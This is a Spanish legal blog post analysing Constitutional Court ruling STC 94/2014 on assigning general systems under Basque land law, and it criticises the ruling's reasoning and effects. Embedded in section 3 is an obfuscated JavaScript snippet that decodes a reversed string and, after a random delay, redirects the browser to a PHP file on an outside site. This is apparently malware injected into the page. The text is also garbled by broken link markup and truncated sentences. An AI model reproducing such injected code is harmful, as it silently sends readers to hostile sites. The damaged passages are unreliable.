El Tribunal Constitucional impide la adscripción de Sistemas Generales en el País Vasco
El Tribunal Constitucional (St. 94/2014, de 12 de junio, BOE 04/07/2014) ha anulado el precepto que posibilita la adscripción de Sistemas Generales, por lo que únicamente podrán obtenerse con cargo a las actuaciones Integradas los Sistemas Generales Incluídos. Así mismo, matiza el alcance de la obligación de costear su ejecución.
- La anulación
- Las razones de la anulación
- La anulación y la legislación del estado actualmente vigente
- Incoherencia de la Sentencia
- Un error de bulto
- Los efectos
- ¿Y ahora qué?
1. La anulación
La Sentencia (STC) anula la expresión «o adscripción» del tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU que pasa a tener la siguiente redacción:
Art. 138.2 LvSU: La obtención gratuita del suelo y los derechos necesarios para las dotaciones públicas de las redes de sistemas generales y, en su caso, la financiación de su ejecución se podrán realizar mediante su inclusión
o adscripcióna actuaciones integradas.
Así mismo, la posibilidad de imputar los costes de su ejecución, no se predica de todos los Sistemas Generales Incluídos en la actuación Integrada, sino que está condicionada a que su ejecución sea necesaria para el desarrollo del ámbito, en coherencia con lo señalado en el tos/2006/07/0603776a.pdf#page=50″ target=”_blank”>art. 53.1.f LvSU («resulten funcionalmente necesarios para el desarrollo de uno o varios ámbitos de ordenación concretos»).
La anulación también puede afectar al tos/2012/07/1203380a.pdf#page=7″ target=”_blank”>art. 5.3 DEU.
2. Las razones de la anulación
El Tribunal Constitucional (TC) resume las determinaciones de la Ley 6/1998 de Régimen de Suelo y Valoraciones (LS98) indicando que, en cuanto a la obtención y ejecución de los Sistemas Generales, esta ley diferencia el régimen del suelo Urbanizable del régimen del suelo Urbano No Consolidado.
A estos efectos, puede distinguirse entre Sistemas Generales próximos y remotos (términos no usados expresamente por la Sentencia). Son próximos aquellos contiguos a los Sectores, destinados a integrarse en la ciudad, por lo que procedería su clasificación como suelo Urbanizable y respecto de los cuales cabe la técnica de la Inclusión; serían remotos aquellos distantes que no se integrarán en la ciudad (por ejemplo, un gran parque urbano), para los que se reserva la técnica de la Adscripción.
Mientras en el suelo Urbanizable es posible la imputación de Sistemas Generales tanto próximos como remotos (Inclusión y Adscripción, art. 18 LS98), en el suelo Urbano No Consolidado únicamente se contempla la Inclusión (imputación de los próximos, art. 14.2 LS98) [Fundamento Jurídico 3º de la Sentencia, F.J. 3].
En cuanto a los costes de ejecución «en el suelo urbano no consolidado… el deber de costear y en su caso ejecutar la urbanización… comprende la completa urbanización del ámbito de suelo urbano no consolidado delimitado por el planeamiento… [pero no] la obligación de realizar la conexión y refuerzo o ampliación de los sistemas generales ya existentes —vías de comunicación, depuración etc— que, por el contrario, deben ser costeados por los propietarios de los terrenos urbanizables que se van a incorporar a ella [la ciudad]» [F.J. 3].
La STC analiza y concluye que este régimen de derechos y deberes se ha establecido legítimamente por el Estado como condiciones básicas que garantizan la igualdad (art. 149.1.1ª CE) [F.J. 4].
Por último, la STC concluye:
- Que la regulación del tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU, por cuanto admite para el suelo Urbano No Consolidado la Adscripción, vulnera el marco definido por la legislación estatal: «el art. art. 14.2 LRSV [LS98] no permite adscribir al suelo urbano no consolidado sistemas generales para el servicio del municipio, cuando de ello derive un deber de cesión de los mismos» [F.J. 6].
- Respecto al costeamiento de la urbanización, «en cuanto [el tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU] no permite distinguir entre actuaciones integradas en suelo urbanizable y suelo urbano no consolidado, es contrario al art. 14.2 LRSV [LS98], pues obliga a los propietarios de suelo urbano no consolidado a soportar el coste de la urbanización de los sistemas generales adscritos” [F.J. 6].
Respecto a este segundo aspecto, el TC detecta en este punto que puede haber Sistemas Generales que a pesar de tener tal denominación no sean ajenos al ámbito: «La utilización del término sistema general para definir el alcance del deber de costear la urbanización de aquellos que resultan funcionalmente necesarios para el desarrollo de uno o varios ámbitos de ordenación concreta, no sólo es novedosa, sino aparentemente contradictoria con el concepto mismo de sistema general que, conforme a la tradicional distinción a la que se refirió la STC 164/2001, es la dotación que no da servicio al ámbito. Pero en la medida en que la ley autonómica mantiene como criterio determinante del deber de urbanización del sistema general que la urbanización resulte necesaria para ese concreto ámbito, no vulnera el límite establecido en el art. 14.2 LRSV [LS98]» [F.J. 6].
3. La anulación y la legislación del estado actualmente vigente
El LS07 superó la simplista distinción tradicional entre Sistemas Generales y Locales y por tanto, el régimen de la tos/2006/07/0603776a.pdf” target=”_blank”>LvSU es totalmente compatible con el to que ya se admite la imputación de toda clase de dotaciones a las actuaciones de Urbanización, tanto en el original $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo” href=”http://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a16″ target=”_blank”>art. 16.1 TRLS (apartados A, para la cesión de suelo, y C, para costear las obras). Por lo que hoy no existe discordancia alguna entre la legislación básica y la redacción original del tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU.
A pesar de que el TC ha establecido la doctrina ius superveniens, por la que el juicio de constitucionalidad debe contrastar la norma autonómica enjuiciada con la norma estatal vigente, huyendo de comparaciones con normas que ya no estuvieran vigentes, cuando no se trate de un Recurso de Inconstitucionalidad sino de una Cuestión de Inconstitucionalidad Promovida por Jueces y Tribunales (art. 29 LOTC), como en este caso, no se aplica tal doctrina y el precepto autonómico cuestionado se contrasta con la norma estatal aplicable al pleito que motiva la cuestión. Por esta razón, se anula el tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU por su incompatibilidad con una norma derogada y a pesar de que actualmente ya no exista ninguna incompatibilidad.
4. Incoherencia de la Sentencia del Tribunal Constitucional
La STC recoge expresamente que en suelo Urbanizable es posible la Adscripción de Sistemas Generales (tal como contempla el art. 18.2 LS98) y niega esta posibilidad en suelo Urbano No Consolidado, pero al suprimir del tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU la expresión «o adscripción» la impide tanto para el suelo No Consolidado como para el Urbanizable, en el que no existía ningún vicio de inconstitucionalidad.
La STC reprocha al legislador vasco que el tos/2006/07/0603776a.pdf#page=99″ target=”_blank”>art. 138.2 LvSU «no permite distinguir entre… suelo urbanizable y suelo urbano no consolidado», pero comete la misma incorrección, suprimiendo la adscripción para ambas clases de suelo. Cuesta creer que el error del Tribunal Constitucional sea voluntario, pero más cuesta creer que se trate de una inconsciencia. Esperemos que los Jueces y Tribunales interpreten la nueva redacción del artículo parcialmente anulado de acuerdo con la motivación de la Sentencia que ha dado lugar a ella.
5. Error de bulto del Tribunal Constitucional
Vaya por delante que la ponente de la Sentencia, Encarnación Roca, es una reputada profesional, cuya trayectoria en la Sala de lo Civil del Tribunal Supremo he seguido y que me merece la mejor consideración.
Parece que al examinar el segundo motivo de inconstitucionalidad planteado (elrelativo a la obligación de costear la ejecución de sistemas generales), el TC se da cuenta de que la tos/2006/07/0603776a.pdf” target=”_blank”>LvSU obliga a identificar como Sistema General las dotaciones que sirvan a más de un ámbito de ordenación aunque no estén al servicio de todo el municipio, («la utilización del término sistema general… no sólo es novedosa, sino aparentemente contradictoria con el concepto… tradicional» [F.J. 6]) lo que lleva al TC a no estimar la Cuestión de Inconstitucionalidad respecto de este segundo motivo.
Sin embargo y como si al TC le hubiera dado pereza revisar lo ya escrito, no hace extensivo este descubrimiento de un tercer tipo de dotaciones (locales, generales y las otras) en la resolución del primer motivo de inconstitucionalidad (relativo a la adscripción de dotaciones al suelo Urbano) lo hace como si existieran únicamente dos tipos de dotaciones (locales y generales) y ello a pesar de que la defensa del Ayuntamiento de San Sebastián planteó expresamente la cuestión.
La imagen representa un expansión de la ciudad hacia el otro lado del río, que en parte se desarrolla sobre un suelo que ya era Urbano (Área 1) y dos Sectores (1 y 2), estos tres ámbitos precisan la construcción de un nuevo puente con capacidad suficiente (Sistema General SG1) y generan la obligación de calificar zonas verdes a razón de 5,00 m² por habitante previsto (Sistema General SG2) que se sitúan en la ribera del río.
La concepción simplista de las dotaciones de la que parte el TC es tan rotunda como errónea (como pone de manifiesto el croquis anterior y, por otra parte, ocurre con casi todos los esquemas bivalentes, blanco y negro) y el TC no la cuestiona ni siquiera cuando en la propia resolución se cae en la cuenta de que es desacertada.
6. Efectos de la Sentencia del Tribunal Constitucional
Al TC le ha bastado para resolver la Cuestión de Inconstitucionalidad con las consideraciones que hemos resumido; sin embargo, para fijar las consecuencias del Fallo es necesario perfilar algunos aspectos al objeto de intentar un enfoque más certero.
Los que pasarais por las aulas de la tos;m:eventTownName.LIKE.BILBAO,fullText.LIKE.MODULO,documentLanguage.EQ.es;o:eventStartDate.ASC;cA:r01epd014294b07995175936ab4613a35420e2509;p:Inter;” target=”_blank”>EVETU antes de la tos de planeamiento y a efectos de gestión o ejecución), a la perspectiva positiva y negativa del concepto de servicialidad (al servicio exclusivo de la Unidad de Ejecución [UE] o al servicio del conjunto del municipio) o los ejemplos clarificadores del Hipermercado, la Universidad privada (Sistemas Generales por antonomasia) o de la Circunvalación que a pesar de integrar la Estructura General y Organíca es imprescindible para el desarrollo de ciertos ámbitos y tiene secciones variables en función de las intensidades de las zonas que se sirven de ella (servicialidades específicas). A partir de la
Hechas estas precisiones vayamos, ya si, con la reflexión sobre los efectos de la Sentencia que puede servir como aproximación de urgencia: La STC tiene un efecto grave para el desarrollo urbanístico puesto que, en un momento de dificultades ecónomicas para los ayuntamientos (más necesidades y menos recursos) y dura restricción del endeudamiento municipal, se carga al Ayuntamiento con la obtención de los Sistemas Generales Adscritos tanto al suelo No Consolidado como, no se debe descartar esta posibilidad, al Urbanizable. La situación se agrava extraordinariamente por la fórmula de valoración del to calificar de descerebrada, puesto que conduce a valorar la pieza de jamón -parcela bruta- como los 100 gr. debidamente limpiados y sin hueso -parcela neta-). Procede que con celeridad se reponga la posibilidad de Adscripción a las actuaciones Integradas, tanto de la obtención, como de los costes de ejecución de Sistemas Generales de acuerdo con la legislación estatal vigente (tos en vigor. Así mismo, no sería difícil aprovechar el viaje para subsanar la deficiente regulación legal de los Sistemas Generales y locales aprovechando la bien orientada regulación del Esperamos que este largo rollo haya servido para ayudar a tomarle la medida al problema y, como no es más que una primera aproximación y por el bien de todos, esperamos que con las aportaciones o dudas podamos afinar mejor el análisis.
7. ¿Y ahora qué?
Natxo Tejerina
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